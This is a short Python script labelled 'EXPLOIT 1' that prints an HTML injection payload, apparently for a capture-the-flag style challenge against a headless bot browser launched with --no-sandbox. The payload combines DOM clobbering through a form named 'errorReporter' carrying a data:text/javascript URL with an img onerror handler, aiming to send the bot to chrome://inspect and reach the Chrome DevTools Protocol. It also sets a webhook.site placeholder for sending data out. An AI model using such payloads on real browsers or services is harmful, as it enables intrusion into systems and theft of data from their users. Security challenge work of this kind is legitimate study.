#!/usr/bin/env python3
"""
EXPLOIT 1: Try to navigate to chrome://inspect/#pages
With --no-sandbox, this might give us access to Chrome DevTools Protocol
"""

import urllib.parse
WEBHOOK = "https://webhook.site/YOUR-WEBHOOK-ID"  # Replace

# First, try to simply navigate to chrome://inspect
code = """
window.location='chrome://inspect/#pages';
""".replace('\n', ' ')

encoded = urllib.parse.quote(code)

payload = f'''<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded}"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("=" * 80)
print("EXPLOIT 1: Navigate to chrome://inspect/#pages")
print("=" * 80)
print("\nThis tests if --no-sandbox allows access to Chrome's internal pages")
print("\nPAYLOAD:\n")
print(payload)
print("\n" + "=" * 80)
print("\nIf this works, the bot browser will show the DevTools inspection page")
print("which gives access to Chrome DevTools Protocol!")
print("=" * 80)
